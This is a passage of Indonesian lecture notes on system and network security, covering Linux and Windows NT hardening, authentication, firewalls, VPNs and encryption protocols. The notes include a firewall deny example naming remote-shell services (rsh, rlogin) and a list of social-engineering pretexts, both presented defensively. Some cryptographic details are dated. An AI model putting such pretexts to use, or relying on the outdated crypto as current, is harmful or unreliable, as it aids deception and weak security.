password seperti :<br />• Passwd+ : meningkatkan loging dan mengingatkan user jika mengisi password yang mudah ditebak, ftp://ftp.dartmouth.edu/pub/security<br />• Anlpasswd : dapat membuat aturan standar pengisian password seperti batas minimum, gabungan huruf besar dengan huruf kecil, gabungan angka dan huruf dsb, ftp://coast.rs.purdue.edu/pub/tools/unix/<br /><br /><br />3. Kontrol akses jaringan (Network Access Control)<br /><br />Firewall linux :<br />alat pengontrolan akses antar jaringan yang membuat linux dapat memilih host yang berhak / tidak berhak mengaksesnya.<br /><br />Fungsi Firewall linux :<br />• Analisa dan filtering paket<br />Memeriksa paket TCP, lalu diperlakukan dengan kondisi yang sudah ditentukan, contoh paket A lakukan tindakan B.<br />• Blocking content dan protocol<br />Bloking isi paket seperti applet java, activeX, Vbscript, Cookies<br />• Autentikasi koneksi dan enkripsi<br />Menjalankan enkripsi dalam identitas user, integritas satu session dan melapisi data dengan algoritma enkripsi seperti : DES, triple DES, Blowfish, IPSec, SHA, MD5, IDEA, dsb.<br /><br />Tipe firewall linux :<br />• Application-proxy firewall/Application Gateways<br />Dilakukan pada level aplikasi di layer OSI, system proxy ini meneruskan / membagi paket-paket ke dalam jaringan internal. Contoh : software TIS FWTK (Tursted Information System Firewall Toolkit)<br />• Network level Firewall, fungsi filter dan bloking paket dilakukan di router. Contoh : TCPWrappers, aplikasinya ada di /usr/sbin/tcpd. Cara kerjanya :<br />Lihat isi file /etc/inetd.conf :<br />...<br />telnet stream tcp nowait root /usr/sbin/telnetd<br />shell stream tcp nowait root /usr/sbin/rshd<br />pop3 stream tcp nowait root /usr/sbin/pop3d<br />…<br /><br />dengan diaktifkan TCPwrappers maka isi file /etc/inetd.conf :<br />...<br />telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd<br />shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L<br />pop3 stream tcp nowait root /usr/sbin/tcpd in.pop3d<br />…<br /><br />setiap ada permintaan layanan jarak jauh, dipotong dulu dengan pencocokan rule set yang telah diatur oleh tcp in, jika memenuhi syarat diteruskan ke file yang akan diekseskusi, tapi jika tidak memenuhi syarat digagalkan.<br /><br /><br />Pengaturan TCPWrapper dilakukan dengan mengkonfigurasi 2 file, yaitu :<br />• /etc/host.allow host yang diperbolehkan mengakses.<br />• /etc/host.deny host yang tidak diperbolehkan mengakses.<br /><br />4. Enkripsi (encryption)<br /><br />Penerapan Enkripsi di linux :<br />• Enkripsi password menggunakan DES ( Data Encryption Standard )<br />• Enkripsi komunikasi data :<br />1. Secure Shell (SSH) Program yang melakukan loging terhadap komputer lain dalam jaringan, mengeksekusi perintah lewat mesin secara remote dan memindahkan file dari satu mesin ke mesin lainnya. Enkripsi dalam bentuk Blowfish, IDEA, RSA, Triple DES. Isi SSH Suite :<br />• scp (secure shell copy) mengamankan penggandaan data<br />• ssh (secure shell client) model client ssh seperti telnet terenkripsi.<br />• ssh-agent otentikasi lewat jaringan dengan model RSA.<br />• sshd (secure shell server) di port 22<br />• ssh-keygen pembuat kunci (key generator) untuk ssh<br />Konfigurasi dilakukan di :<br />• /etc/sshd_config (file konfigurasi server)<br />• /etc/ssh_config (file konfigurasi client)<br />2. Secure socket Layer (SSL) mengenkripsi data yang dikirimkan lewat port http.<br />Konfigurasi dilakukan di : web server APACHE dengan ditambah PATCH SSL.<br /><br />5. Logging<br /><br />Def : Prosedur dari Sistem Operasi atau aplikasi merekam setiap kejadian dan menyimpan rekaman tersebut untuk dapat dianalisa.<br /><br />Semua file log linux disimpan di directory /var/log, antara lain :<br /><br />• Lastlog : rekaman user login terakhir kali<br />• last : rekaman user yang pernah login dengan mencarinya pada file /var/log/wtmp<br />• xferlog : rekaman informasi login di ftp daemon berupa data wktu akses, durasi transfer file, ip dan dns host yang mengakses, jumlah/nama file, tipe transfer(binary/ASCII), arah transfer(incoming/outgoing), modus akses(anonymous/guest/user resmi), nama/id/layanan user dan metode otentikasi.<br />• Access_log : rekaman layanan http / webserver.<br />• Error_log : rekaman pesan kesalahan atas service http / webserver berupa data jam dan waktu, tipe/alasan kesalahan<br />• Messages : rekaman kejadian pada kernel ditangani oleh dua daemon :<br />o Syslog merekam semua program yang dijalankan, konfigurasi pada syslog.conf<br />o Klog menerima dan merekam semua pesan kernel<br /><br />6. Deteksi Penyusupan (Intrusion Detection)<br /><br />Def : aktivitas mendeteksi penyusupan secara cepat dengan menggunakan program khusus secara otomatis yang disebut Intrusion Detection System<br /><br />Tipe dasar IDS :<br />• Ruled based system : mencatat lalu lintas data jika sesuai dengan database dari tanda penyusupan yang telah dikenal, maka langsung dikategorikan penyusupan. Pendekatan Ruled based system :<br />o Preemptory (pencegahan) ; IDS akan memperhatikan semua lalu lintas jaringan, dan langsung bertindak jika dicurigai ada penyusupan.<br />o Reactionary (reaksi) ; IDS hanya mengamati file log saja.<br />• Adaptive system : penerapan expert system dalam mengamati lalu lintas jaringan.<br /><br />Program IDS :<br />• Chkwtmp : program pengecekan terhadap entry kosong<br />• Tcplogd : program pendeteksi stealth scan (scanning yang dilakukan tanpa membuat sesi tcp)<br />• Host entry : program pendeteksi login anomaly (perilaku aneh) bizarre behaviour (perilaku aneh), time anomalies (anomaly waktu), local anomaly.<br /><br /><br />Windows NT<br /><br />Komponen Arsitektur Keamanan NT :<br /><br />1. Adminisrasi User dan Group<br /><br />Jenis Account User :<br />• Administrator<br />• Guest<br />• User<br /><br />Jenis Account Gorup :<br />• Administrator<br />• Guest<br />• User<br />• Operator back-up<br />• Power user<br />• Operator server<br />• Operator account<br />• Operator printer<br /><br />Hak User / Grup :<br />• Hak basic : acces computer from network, back-up files/directory, change system time, logon locally, manage auditing and security, log (event viewer), restore files and directory, shutdown system, take ownership files or other object, dll.<br />• Hak advance : access service and kernel untuk kebutuhan pengembangan system.<br /><br />2. Keamanan untuk system File<br /><br />A. NTFS :<br />• Cepat dalam operasi standar file (read – write – search)<br />• Terdapat system file recovery, access control dan permission.<br />• Memandang obyek sebagai kumpulan atribut, termasuk permission access.<br /><br />B. Proteksi untuk integritas data<br /><br />Transaction logging : merupakan system file yang dapat di-recovery untuk dapat mencatat semua perubahan terakhir pada directory dan file secara otomatis.<br />• Jika transaksi system berhasil NT akan melakukan pembaharuan pada file.<br />• Jika transaksi gagal, NT akan melalui :<br />• Tahap analisis : mengukur kerusakan dan menentukan lokasi cluster yang harus diperbarui per informasi dalam file log.<br />• Tahap redo : melakukan semua tahapan transaksi yang dicatat pada titik periksa terakhir<br />• Tahap undo : mengembalikan ke kondisi semula untuk semua transaksi yang belum selesai dikerjakan.<br /><br />Sector sparing : Teknik dynamic data recovery yang hanya terdapat pada disk SCSI dengan cara memanfaatkan teknologi fault-tolerant volume untuk membuat duplikat data dari sector yang mengalami error. Metodenya adalah dengan merekalkulasi dari stripe set with parity atau dengan membaca sector dari mirror drive dan menulis data tersebut ke sektor baru.<br /><br />Cluster remapping : Jika ada kegagalan dalam transaksi I/O pada disk , secara otomatis akan mencari cluster baru yang tidak rusak, lalu menandai alamat cluster yang mengandung bad sector tersebut.<br /><br />C. Fault tolerance : Kemampuan untuk menyediakan redudansi data secara realtime yang akan memberikan tindakan penyelamatan bila terjadi kegagalan perangkat keras, korupsi perangkat lunak dan kemungkinan masalah lainnya.<br />Teknologinya disebut RAID (Redudant Arrays of inexpensive Disk) : sebuah array disk dimana dalam sebuah media penyimpanan terdapat informasi redudan tentang data yang disimpan di sisa media tersebut.<br />Kelebihan RAID :<br />• Meningkatkan kinerja I/O<br />• meningkatkan reabilitas media penyimpanan<br /><br />Ada 2 bentuk fault tolerance :<br />1. Disk mirroring (RAID 1) : meliputi penulisan data secara simultan kedua media penyimpanan yang secara fisik terpisah.<br />2. Disk stripping dengan Parity (RAID 5) : data ditulis dalam strip-strip lewat satu array disk yang didalam strip-strip tersebut terdapat informasi parity yang dapat digunakan untuk meregenerasi data apabila salah satu disk device dalam strip set mengalami kegagalan.<br /><br /><br />3. Model Keamanan Windows NT<br /><br />Dibuat dari beberapa komponen yang bekerja secara bersama-sama untuk memberikan keamanan logon dan access control list (ACL) dalam NT :<br /><br />• LSA (Local security Authority) : menjamin user memiliki hak untuk mengakses system. Inti keamanan yang menciptakan akses token, mengadministrasi kebijakan keamanan local dan memberikan layanan otentikasi user.<br />• Proses logon : menerima permintaan logon dari user (logon interaktif dan logon remote), menanti masukan username dan password yang benar. Dibantu oleh Netlogon service.<br />• Security Account Manager (SAM) : dikenal juga sebagai directory service database, yang memelihara database untuk account user dan memberikan layan validasi untuk proses LSA.<br />• Security Reference Monitor (SRM) : memeriksa status izin user dalam mengakses, dan hak user untuk memanipulasi obyek serta membuat pesan-pesan audit.<br /><br />4. Keamanan Sumber daya lokal<br /><br />Obyek dalam NT [file, folder (directory), proses, thread, share dan device], masing-masing akan dilengkapi dengan Obyek Security Descriptor yang terdiri dari :<br />• Security ID Owner : menunjukkan user/grup yang memiliki obyek tersebut, yang memiliki kekuasaan untuk mengubah akses permission terhadap obyek tersebut.<br />• Security ID group : digunakan oleh subsistem POSIX saja.<br />• Discretionary ACL (Access Control List) : identifikasi user dan grup yang diperbolehkan / ditolak dalam mengakses, dikendalikan oleh pemilik obyek.<br />• System ACL : mengendalikan pesan auditing yang dibangkitkan oleh system, dikendalikan oleh administrator keamanan jaringan.<br /><br />5. Keamanan Jaringan<br /><br />Jenis Keamanan Jaringan Windows NT :<br /><br />• Model keamanan user level : account user akan mendapatkan akses untuk pemakaian bersama dengan menciptakan share atas directory atau printer.<br />o Keunggulan : kemampuan untuk memberikan user tertentu akses ke sumberdaya yang di-share dan menentukan jenis akses apa yang diberikan.<br />o Kelemahan : proses setup yang kompleks karena administrator harus memberitahu setiap user dan menjaga policy system keamanan tetap dapat dibawah kendalinya dengan baik.<br />• Model keamanan Share level : dikaitkan dengan jaringan peer to peer, dimana user manapun membagi sumber daya dan memutuskan apakaha diperlukan password untuk suatu akses tertentu.<br />o Keuntungan : kesederhanaannya yang membuat keamanan share-level tidak membutuhkan account user untuk mendapatkan akses.<br />o Kelemahan : sekali izin akses / password diberikan, tidak ada kendali atas siap yang menakses sumber daya.<br /><br />Cara NT menangani keamanan jaringan :<br /><br />1. Memberikan permission :<br />• Permission NTFS local<br />• Permission shere<br />2. Keamanan RAS (Remote Access Server)<br />Melakukan remote access user menggunakan dial-up :<br />• Otentikasi user name dan password yang valid dengan dial-in permission.<br />• Callback security : pengecekan nomor telepon yang valid.<br />• Auditing : menggunakan auditing trails untuk melacak ke/dari siapa, kapan user memiliki akses ke server dan sumberdaya apa yang diakses.<br />3. Pengamanan Layanan internet :<br />• Firewall terbatas pada Internet Information server (IIS).<br />• Menginstal tambahan proxy seperti Microsoft Proxy server.<br />4. Share administrative :memungkin administrator mendapatkan akses ke server windows NT atau workstation melalui jaringan<br /><br />6. Keamanan pada printer<br /><br />Dilakukan dengan mensetting properties printer :<br />1. Menentukan permission : full control, Manage document, print<br />2. Biasanya susunan permission pada NT defaulut :<br />• Adminstrator – full control<br />• Owner – Manage document<br />• Semua user – print<br />3. Mengontrol print job, terdiri dari :<br />• Setting waktu cetak<br />• Prioritas<br />• Notifikasi (orang yang perlu diberi peringatan)<br />4. Set auditing information<br /><br /><br />7. Keamanan Registry<br /><br />Tools yang disediakan dalam pengaksesan registry :<br />• System policy editor : mengontrol akses terhadap registry editor, memungkinkan administrator mengedit dan memodifikasi value tertentu dalam registry dengan berbasis grafis.<br />• Registry editor (regedit32.exe) : tools untuk melakukan edit dan modifikasi value dalam registry.<br />• Windows NT Diagnostics (winmsd.exe) : memungkinkan user melihat setting isi registry dan valuenya tanpa harus masuk ke registry editor sendiri.<br /><br />Tools backup untuk registry yaitu :<br />• Regback.exe memanfaatkan command line / remote session untuk membackupr registry.<br />• ntbackup.exe : otomatisasi backup HANYA pada Tape drive, termasuk sebuah kopi dari file backup registry local.<br />• Emergency Repair Disk (rdisk.exe) : memback-up hive system dan software dalam registry.<br /><br />8. Audit dan Pencatatan Log<br /><br />• Pencatatan logon dan logoff termasuk pencatatan dalam multi entry login<br />• Object access (pencatatan akses obyek dan file)<br />• Privilege Use (paencatatan pemakaian hak user)<br />• Account Management (manajemen user dan group)<br />• Policy change (Pencatatan perubahan kebijakan keamanan)<br />• System event (pencatatan proses restart, shutdown dan pesan system)<br />• Detailed tracking (pencatatan proses dalam system secara detail)<br /><br /><br /><br />KEAMANAN JARINGAN<br /><br />1. Membatasi Akses ke Jaringan<br /><br />A. Membuat tingkatan akses :<br /><br />Pembatasan-pembatasan dapat dilakukan sehingga memperkecil peluang penembusan oleh pemakai yang tak diotorisasi, misalnya :<br />• Pembatasan login. Login hanya diperbolehkan :<br />• Pada terminal tertentu.<br />• Hanya ada waktu dan hari tertentu.<br />• Pembatasan dengan call-back (Login dapat dilakukan siapapun. Bila telah sukses login, sistem segera memutuskan koneksi dan memanggil nomor telepon yang telah disepakati, Penyusup tidak dapat menghubungi lewat sembarang saluran telepon, tapi hanya pada saluran telepon tertentu).<br />• Pembatasan jumlah usaha login.<br />• Login dibatasi sampai tiga kali dan segera dikunci dan diberitahu ke administrator.<br />• Semua login direkam dan sistem operasi melaporkan informasi-informasi berikut :<br /> Waktu, yaitu waktu pemakai login.<br /> Terminal, yaitu terminal dimana pemakai login.<br />• Tingkat akses yang diizinkan ( read / write / execute / all )<br /><br /><br />B. Mekanisme kendali akses :<br /><br />Masalah identifikasi pemakai ketika login disebut otentifikasi pemakai (user authentication). Kebanyakan metode otentifikasi didasarkan pada tiga cara, yaitu :<br />1. Sesuatu yang diketahui pemakai, misalnya :<br />• Password.<br />• Kombinasi kunci.<br />• Nama kecil ibu mertua.<br />• Dan sebagainya.<br /><br />2. Sesuatu yang dimiliki pemakai, misalnya :<br />• Badge.<br />• Kartu identitas.<br />• Kunci.<br />• Dan sebagainya.<br /><br />3. Sesuatu mengenai (ciri) pemakai, misalnya :<br />• Sidik jari.<br />• Sidik suara.<br />• Foto.<br />• Tanda tangan.<br /><br />C. Waspada terhadap Rekayasa sosial :<br /><br />1. Mengaku sebagi eksekutif yang tidak berhasil mengakses, menghubungi administrator via telepon/fax.<br />2. Mengaku sebagai administrator yang perlu mendiagnosa masalah network, menghubungi end user via email/fax/surat.<br />3. Mengaku sebagai petugas keamanan e-commerce, menghubungi customer yang telah bertransaksi untuk mengulang kembali transaksinya di form yang disediakan olehnya.<br />4. pencurian surat, password.<br />5. penyuapan, kekerasan.<br /><br />D. Membedakan Sumber daya internal dan Eksternal :<br /><br />Memanfaatkan teknologi firewall yang memisahkan network internal dengan network eksternal dengan rule tertentu.<br /><br />E. Sistem Otentikasi User :<br /><br />Def : adalah proses penentuan identitas dari seseorang yang sebenarnya, hal ini diperlukan untuk menjaga keutuhan ( integrity ) dan keamanan ( security ) data, pada proses ini seseorang harus dibuktikan siapa dirinya sebelum menggunakan layanan akses.<br /><br />Upaya untuk lebih mengamankan proteksi password, antara lain :<br />1. Salting.<br />Menambahkan string pendek ke string password yang diberikan pemakai<br />sehingga mencapai panjang password tertentu.<br />2. One time password.<br />• Pemakai harus mengganti password secara teratur. Upaya ini membatasi peluang password telah diketahui atau dicoba-coba pemakai lain.<br />• Bentuk ekstrim pendekatan ini adalah one time password, yaitu pemakai mendapat satu buku berisi daftar password. Setiap kali pemakai login, pemakai menggunakan password berikutnya yang terdapat di daftar password.<br />• Dengan one time password, pemakai direpotkan keharusan menjaga agar buku passwordnya jangan sampai dicuri.<br />3. Satu daftar panjang pertanyaan dan jawaban.<br />• Variasi terhadap password adalah mengharuskan pemakai memberi satu daftar pertanyaan panjang dan jawabannya. Pertanyaan-pertanyaan dan jawabannya dipilih pemakai sehingga pemakai mudah mengingatnya dan tak perlu menuliskan di kertas.<br />• Pertanyaan berikut dapat dipakai, misalnya :<br />• Siapa mertua abang ipar Badru ?<br />• Apa yang diajarkan Pak Harun waktu SD ?<br />• Di jalan apa pertama kali ditemukan simanis ?<br />• Pada saat login, komputer memilih salah satu dari pertanyaan-pertanyaan secara acak, menanyakan ke pemakai dan memeriksa jawaban yang diberikan.<br />4. Tantangan tanggapan (chalenge response).<br />• Pemakai diberi kebebasan memilih suatu algoritma, misalnya x3.<br />• Ketika pemakai login, komputer menuliskan di layar angka 3. Dalam kasus ini pemakai mengetik angka 27. Algoritma dapat berbeda di pagi, sore, dan hari berbeda, dari terminal berbeda, dan seterusnya.<br /><br />Contoh Produk Otentikasi User, antara lain :<br /><br />1. Secureid ACE (Access Control Encryption)<br />System token hardware seperti kartu kredit berdisplay, pemakai akan menginput nomor pin yang diketahui bersama, lalu memasukkan pascode bahwa dia pemilik token.<br /><br />2. S/key (Bellcore)<br />System software yang membentuk one time password (OTP) berdasarkan informasi loginterkhir dengan aturan random tertentu.<br /><br />3. Password Authentication Protocol (PAP)<br />Protokol dua arah untuk PPP (Point to point Protocol). Peer mengirim pasangan user id dan password, authenticator menyetujuinya.<br /><br />4. Challenge Handshake Authentication Protocol (CHAP)<br />S/key pada PAP, protocol 3 arah, authenticator mengirim pesan tantangan ke peer, peer menghitung nilai lalu mengirimkan ke authenticator, authenticator menyetujui otentikasi jika jawabannya sama dengan nilai tadi.<br /><br />5. Remote Authentication Dial-in User Service (RADIUS)<br />Untuk hubungan dial-up, menggunakan network access server, dari suatu host yang menjadi client RADIUS, merupan system satu titik akses.<br /><br />6. Terminal Access Controller Access Control System (TACACS)<br />Protokol keamanan berbasis server dari CISCO System. Secury\ity Server terpusat dangan file password UNIX, database otentikasi, otorisasi dan akunting, fungsi digest (transmisi password yang tidak polos)<br /><br /><br />2. Melindungi Aset Organisasi<br /><br />A.Secara Adminsistratif / fisik<br />• Rencana kemungkinan terhadap bencana<br />• Program penyaringan calon pegawai system informasi<br />• Program pelatihan user<br />• Kebijakan akses network<br /><br />B. Secara Teknis<br /><br />B.1. Penerapan Firewall<br /><br />Istilah pada penerapan Firewall<br />• Host<br /> Suatu sistem komputer yang terhubung pada suatu network<br />• Bastion host<br /> Sistem komputer yang harus memiliki tingkat sekuritas yang tinggi karena sistem ini rawan sekali terhadap serangan hacker dan cracker, karena biasanya mesin ini diekspos ke network luar (Internet) dan merupakan titik kontak utama para user dari internal network.<br />• Packet Filtering<br /> Aksi dari suatu devais untuk mengatur secara selektif alur data yang melintasi suatu network. Packet filter dapat memblok atau memperbolehkan suatu paket data yang melintasi network tersebut sesuai dengan kebijaksanaan alur data yang digunakan (security policy).<br />• Perimeter network<br />Suatu network tambahan yang terdapat di antara network yang dilindungi dengan network eksternal, untuk menyediakan layer tambahan dari suatu sistem security. Perimeter network juga sering disebut dengan DMZ (De-Millitarized Zone).<br /><br />Keuntungan Firewall :<br />• Firewall merupakan fokus dari segala keputusan sekuritas. Hal ini disebabkan karena Firewall merupakan satu titik tempat keluar masuknya trafik internet pada suatu jaringan.<br />• Firewall dapat menerapkan suatu kebijaksanaan sekuritas. Banyak sekali service-service yang digunakan di Internet. Tidak semua service tersebut aman digunakan, oleh karenanya Firewall dapat berfungsi sebagai penjaga untuk mengawasi service-service mana yang dapat digunakan untuk menuju dan meninggalkan suatu network.<br />• Firewall dapat mencatat segala aktivitas yang berkaitan dengan alur data secara efisien. Semua trafik yang melalui Firewall dapat diamati dan dicatat segala aktivitas yang berkenaan dengan alur data tersebut. Dengan demikian Network Administrator dapat segera mengetahui jika terdapat aktivitas-aktivitas yang berusaha untuk menyerang internal network mereka.<br />• Firewall dapat digunakan untuk membatasi pengunaan sumberdaya informasi. Mesin yang menggunakan Firewall merupakan mesin yang terhubung pada beberapa network yang berbeda, sehingga kita dapat membatasi network mana saja yang dapat mengakses suatu service yang terdapat pada network lainnya.<br /><br />Kelemahan Firewall :<br />• Firewall tidak dapat melindungi network dari serangan koneksi yang tidak melewatinya (terdapat pintu lain menuju network tersebut).<br />• Firewall tidak dapat melindungi dari serangan dengan metoda baru yang belum dikenal oleh Firewall.<br />• Firewall tidak dapat melindungi dari serangan virus.<br /><br />Pilihan klasifikasi desain Firewall :<br /><br />1. Packet Filtering<br />Sistem paket filtering atau sering juga disebut dengan screening router adalah router yang melakukan routing paket antara internal dan eksternal network secara selektif sesuai dengan security policy yang digunakan pada network tersebut. Informasi yang digunakan untuk menyeleksi paket-paket tersebut adalah:<br />• IP address asal<br />• IP address tujuan<br />• Protocol (TCP, UDP, atau ICMP)<br />• Port TCP atau UDP asal<br />• Port TCP atau UDP tujuan<br />Beberapa contoh routing paket selektif yang dilakukan oleh Screening Router :<br />• Semua koneksi dari luar sistem yang menuju internal network diblokade kecuali untuk koneksi SMTP<br />• Memperbolehkan service email dan FTP, tetapi memblok service-service berbahaya seperti TFTP, X Window, RPC dan ‘r’ service (rlogin, rsh, rcp, dan lain-lain).<br />Selain memiliki keuntungan tertentu di antaranya aplikasi screening router ini dapat bersifat transparan dan implementasinya relatif lebih murah dibandingkan metode firewall yang lain, sistem paket filtering ini memiliki beberapa kekurangan yakni : tingkat securitynya masih rendah, masih memungkinkan adanya IP Spoofing, tidak ada screening pada layer-layer di atas network layer.<br /><br />2. Application Level Gateway (Proxy Services)<br />Proxy service merupakan aplikasi spesifik atau program server yang dijalankan pada mesin Firewall, program ini mengambil user request untuk Internet service (seperti FTP, telnet, HTTP) dan meneruskannya (bergantung pada security policy) ke host yang dituju. Dengan kata lain adalah proxy merupakan perantara antara internal network dengan eksternal network (Internet).<br />Pada sisi ekternal hanya dikenal mesin proxy tersebut, sedangkan mesin-mesin yang berada di balik mesin proxy tersebut tidak terlihat. Akibatnya sistem proxy ini kurang transparan terhadap user yang ada di dalam<br /><br />Sistem Proxy ini efektif hanya jika pada konjungsi antara internal dan eksternal network terdapat mekanisme yang tidak memperbolehkan kedua network tersebut terlibat dalam komunikasi langsung.<br />Keuntungan yang dimiliki oleh sistem proxy ini adalah tingkat sekuritasnya lebih baik daripada screening router, deteksi paket yang dilakukan sampai pada layer aplikasi. Sedangkan kekurangan dari sistem ini adalah perfomansinya lebih rendah daripada screening router karena terjadi penambahan header pada paket yang dikirim, aplikasi yang di-support oleh proxy ini terbatas, serta sistem ini kurang transparan.<br /><br />Arsitektur dasar firewall :<br /><br />• Arsitektur dengan dual-homed host (kadang kadang dikenal juga sebagai dual homed gateway/ DHG)<br /><br />Sistem DHG menggunakan sebuah komputer dengan (paling sedikit) dua network-interface. Interface pertama dihubungkan dengan jaringan internal dan yang lainnya dengan Internet. Dual-homed host nya sendiri berfungsi sebagai bastion host (front terdepan, bagian terpenting dalam firewall).<br /><br /><br />• screened-host (screened host gateway/ SHG)<br /><br />Pada topologi SHG, fungsi firewall dilakukan oleh sebuah screening-router dan bastion host. Router ini dikonfigurasi sedemikian sehingga akan menolak semua trafik kecuali yang ditujukan ke bastion host, sedangkan pada trafik internal tidak dilakukan pembatasan. Dengan cara ini setiap client servis pada jaringan internal dapat menggunakan fasilitas komunikasi standard dengan Internet tanpa harus melalui proxy.<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />• screened subnet (screened subnet gateway/ SSG).<br /><br />Firewall dengan arsitektur screened-subnet menggunakan dua screening-router dan jaringan tengah (perimeter network) antara kedua router tersebut, dimana ditempatkan bastion host. Kelebihan susunan ini akan terlihat pada waktu optimasi penempatan server.<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />B.2. Penerapan Virtual Privat Network (VPN)<br /><br />Defenisi VPN<br /><br />Virtual Private Network atau Jaringan Pribadi Maya sesungguhnya sama dengan Jaringan Pribadi (Private Network/PN) pada umumnya, di mana satu jaringan komputer suatu lembaga atau perusahaan di suatu daerah atau negara terhubung dengan jaringan komputer dari satu grup perusahaan yang sama di daerah atau negara lain. Perbedaannya hanyalah pada media penghubung antar jaringan. Kalau pada PN, media penghubungnya masih merupakan milik perusahaan/grup itu sendiri, dalam VPN, media penghubungnya adalah jaringan publik seperti Internet.<br /><br />Dalam VPN, karena media penghubung antar jaringannya adalah jaringan publik, diperlukan pengamanan dan pembatasan-pembatasan. Pengamanan diperlukan untuk menjaga agar tidak sebarang orang dari jaringan publik dapat masuk ke jaringan pribadi. Yang dikecualikan hanyalah orang-orang yang terdaftar atau terotentifikasi terlebih dahulu yang dapat masuk ke jaringan pribadi. Pembatasan diperlukan untuk menjaga agar tidak semua orang atau user dari jaringan pribadi dapat mengakses jaringan publik (internet).<br /><br />Cara membentuk VPN<br /><br />1. Tunnelling<br /><br />Sesuai dengan arti tunnel atau lorong, dalam membentuk suatu VPN ini dibuat suatu tunnel di dalam jaringan publik untuk menghubungkan antara jaringan yang satu dan jaringan lain dari suatu grup atau perusahaan.yang ingin membangun VPN tersebut. Seluruh komunikasi data antarjaringan pribadi akan melalui tunnel ini, sehingga orang atau user dari jaringan publik yang tidak memiliki izin untuk masuk tidak akan mampu untuk menyadap, mengacak atau mencuri data yang melintasi tunnel ini. Ada beberapa metode tunelling yang umum dipakai, di antaranya:<br /><br />- IPX To IP Tunnelling, atau<br />- PPP To IP Tunnelling<br /><br />IPX To IP tunnelling biasa digunakan dalam jaringan VPN Novell Netware. Jadi dua jaringan Novell yang terpisah akan tetap dapat saling melakukan komunikasi data melalui jaringan publik Internet melalui tunnel ini tanpa kuatir akan adanya gangguan pihak ke-3 yang ingin mengganggu atau mencuri data. Pada IPX To IP tunnelling, paket data dengan protokol IPX (standar protokol Novell) akan dibungkus (encapsulated) terlebih dahulu oleh protokol IP (standar protokol Internet) sehingga dapat melalui tunnel ini pada jaringan publik Internet. Sama halnya untuk PPP To IP tunnelling, di mana PPP protokol diencapsulated oleh IP protokol.<br /><br />Saat ini beberapa vendor hardware router seperti Cisco, Shiva, Bay Networks sudah menambahkan kemampuan VPN dengan teknologi tunnelling pada hardware mereka.<br /><br />2. Firewall<br /><br />Sebagaimana layaknya suatu dinding, Firewall akan bertindak sebagai pelindung atau pembatas terhadap orang-orang yang tidak berhak untuk mengakses jaringan kita. Umumnya dua jaringan yang terpisah yang menggunakan Firewall yang sejenis, atau seorang remote user yang terhubung ke jaringan dengan menggunakan software client yang terenkripsi akan membentuk suatu VPN, meskipun media penghubung dari kedua jaringan tersebut atau penghubung antara remote user dengan jaringan tersebut adalah jaringan publik seperti Internet.<br /><br />Suatu jaringan yang terhubung ke Internet pasti memiliki IP address (alamat Internet) khusus untuk masing-masing komputer yang terhubung dalam jaringan tersebut. Apabila jaringan ini tidak terlindungi oleh tunnel atau firewall, IP address tadi akan dengan mudahnya dikenali atau dilacak oleh pihak-pihak yang tidak diinginkan. Akibatnya data yang terdapat dalam komputer yang terhubung ke jaringan tadi akan dapat dicuri atau diubah. Dengan adanya pelindung seperti firewall, kita bisa menyembunyikan (hide) address tadi sehingga tidak dapat dilacak oleh pihak-pihak yang tidak diinginkan.<br /><br />Kemampuan firewall dalam penerapannya pada VPN<br /><br />o IP Hiding/Mapping. Kemampuan ini mengakibatkan IP address dalam jaringan dipetakan atau ditranslasikan ke suatu IP address baru. Dengan demikian IP address dalam jaringan tidak akan dikenali di Internet.<br /><br />o Privilege Limitation. Dengan kemampuan ini kita dapat membatasi para user dalam jaringan sesuai dengan otorisasi atau hak yang diberikan kepadanya. Misalnya, User A hanya boleh mengakses home page, user B boleh mengakses home page, e-mail dan news, sedangkan user C hanya boleh mengakses e-mail.<br /><br />o Outside Limitation. Dengan kemampuan ini kita dapat membatasi para user dalam jaringan untuk hanya mengakses ke alamat-alamat tertentu di Internet di luar dari jaringan kita.<br /><br />o Inside Limitation. Kadang-kadang kita masih memperbolehkan orang luar untuk mengakses informasi yang tersedia dalam salah satu komputer (misalnya Web Server) dalam jaringan kita. Selain itu, tidak diperbolehkan, atau memang sama sekali tidak dizinkan untuk mengakses seluruh komputer yang terhubung ke jaringan kita.<br /><br />o Password and Encrypted Authentication. Beberapa user di luar jaringan memang diizinkan untuk masuk ke jaringan kita untuk mengakses data dan sebagainya, dengan terlebih dahulu harus memasukkan password khusus yang sudah terenkripsi.<br /><br /><br />3. Mengamankan saluran terbuka<br /><br />Protokol TCP/IP merupakan protocol dalam set standar yang terbuka dalam pengiriman data, untuk itulah perlu dilakukan enkripsi dalam rangka penanganan keamanan data yang diterapkan pada protocol tersebut, yang meliputi :<br /><br />A. Keamanan Panda lapisan Aplikasi<br /><br />• SET (Secure Electronics Transaction)<br />o Menentukan bagaimana transaksi mengalir antara pemakai, pedagang dan bank.<br />o Menentukan fungsi keamanan : digital signature, hash dan enkripsi.<br />o Produk dari Mastercard dan VISA International.<br /><br />• Secure HTTP<br />o Produk dari workgroup IETF, diimplementasikan pada webserver mulai 1995.<br />o Menentukan mekanisme kriptografi standar untuk mengenkripsikan pengiriman data http<br /><br /><br />• Pretty Good Privacy (PGP)<br />o Standarisasi RFC 1991<br />o Membuat dan memastikan digital signature, mengenkripsi – deskripsi dan mengkompresi data.<br /><br />• Secure MIME (S/MIME)<br />o Standarisasi RFC 1521<br />o MIME (Multipurpose Internet Mail Extension)<br />o Menentukan cara menempelkan file untuk dikirim ke internet dengan menggunakan metode hirarki dalm pendefenisian user remi dan sertfikat digitalnya.<br /><br />• Cybercash<br />o Standarisasi RFC 1898<br />o Memproses kartu kredit di internet dengan mengenkripsi dan menandatangani transaksi secara digital.<br /><br />B. Keamanan dalam Lapisan Transport<br /><br />• SSL (Secure Socket Layer)<br />o Produk Netscape<br />o Protocol yang menegoisasikan hubungan yang aman antara client dan server, dengan menggunakan kunci enkripsi 40-bit.<br /><br />C. Keamanan dalam Lapisan Network<br />• IP security Protocol : melindungi protocol client IP pada network layer.<br />• IP Authentication header<br />• IP Encapsulating Security protocol<br />• Simple-key management for Internet protocol (SKIP)<br />• Internet security Association and key management protocol (ISAKMP)<br />• Internet key management protocol (IKMP)<br />• Sumber : www.ietf.org<br /><br /><br /><br />EVALUASI KEAMANAN SISTEM INFORMASI<br /><br 